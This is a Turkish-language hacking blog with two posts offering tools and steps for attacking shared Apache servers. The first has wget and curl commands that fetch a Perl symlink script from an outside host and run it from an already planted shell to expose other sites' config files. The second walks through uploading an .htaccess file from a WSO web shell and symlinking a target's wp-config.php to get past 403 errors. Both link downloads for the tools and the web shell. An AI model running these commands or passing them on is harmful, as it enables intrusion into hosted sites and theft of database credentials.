B0RU70 Se☪uЯity

Güncell Konular ;

Apache Bypass etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

Genellikle Apache Sunucularda İşinizce yarıcak bu araç symlink in symlink komutunu kullanmadan

işlemi yaptığı için per olan tüm sunucularda kolaylıkla çalıştırabilirsiniz kullanımına geçelim,

Shell ekranındaydan ya backconnect olup yada cgi shell yiyorsa cgi ekranından altta verdiğim komutları sırasıyla girmeniz yeterlidir.
KOMUTLAR :

$ wget https://b0ru70.github.io/Exploit/UploadExploit/prvsym.pl

eğer sunucuda wget çalışmıyosa;

$ curl -O https://b0ru70.github.io/Exploit/UploadExploit/prvsym.pl

Gerekli aracımızı sunucuya çektik şimdi çalıştıralım

$ perl prvsym.pl

ardından komutları çalıştırdığınız klosorde b0_sym diye bir klosor olusucak bu klosoru direk url den açın eğer karşınıza config txt leri çıkarsa işlem başarılıdır.

Perl Auto Symlink Tool

28 Temmuz 2019 Pazar

Tag :// Apache Bypass, Tag :// apache bypass tool, Tag :// linux server bypass, Tag :// perl bypass tool, Tag :// perl shell, Tag :// perl symlink, Tag :// priv sym, Tag :// priv symlink, Tag :// server bypass

Basit bir tools (.php) olarak kaydedin. Ve Siteye Upload Edip Kullanın :3

TOlls un Kaynak Kodları(DOWNLOAD);

* https://pastebin.com/raw/HcSMswfd

* https://ghostbin.com/paste/otsfh/raw

Apache Symlink Bypass (.PHP)

21 Nisan 2018 Cumartesi

Tag :// Apache Bypass, Tag :// Apache Symlink, Tag :// Apache Symlink Bypass, Tag :// Apache Symlink Bypass shell, Tag :// Apache Symlink Bypass tools

Selamun aleyküm beyler apache serverlerde iş gören bir .htacces klasörü var bilenler için değil bilmeyenler için diyerekten geçelim;

UnHidden Content:

Bildiğimiz gibi servere iş görür bir .htaccess dosyası upload ettiğinizde bypasslayamıyacağanız sw yoktur biz de yine .htaccess dosyası ile işimizi halledicez muhtemelen config çekmek isterken "403 forbidden" hatası aldınız bunun çözümüne adım adım bakalım;
(önerim wso shelldir altta linki var)

1) Wso shellin alt kısmından make dir bölümünden klasör oluşturuyoruz benim klasörümün adı 123

2) Oluşturduğumuz klasöre girip wso shellden alt kısımda upload file bölümünden size vereceğim .htaccess i 123 klasörüne upload ediyoruz

3) Ve execute bölümünden "ln -s /home/name/www/wp-config.php worthless.txt" yani hedef sitenin config yolunu yazıyoruz daha sonra www.örneksite.com/123/ olarak girdiğinizde configler karşınızda olacak.Ben worthless.txt olarak yaptım siz onu notepad ile düzenleyip kendi isminizi koyabilirsiniz.

Arkadaşlar mantık şu 123 klasörüne upload ettiğimiz size vermiş olduğum ".htaccess" dosyası "worthless.txt" adlı her dosyayı dışarıya yansıtmaya odaklı oluyor belki çektiğiniz configin içine girince "403 forbidden" hatası alıyor olabilirsiniz ama bu .htaccess o hatayı es geçip direkt "worthless.txt" dosyasındaki configi hedef alıyor ve dosyanın içine girmeden okuyabiliyorsunuz.

Not; Her swde işe yaramaz ama çoğu swde faydasını gördüm sizde görürsünüz.

htaccess -> http://s2.dosya.tc/server5/ue5gg5/.htaccess.rar.html
wso shell -> http://s2.dosya.tc/server5/itfa9i/wso1.zip.html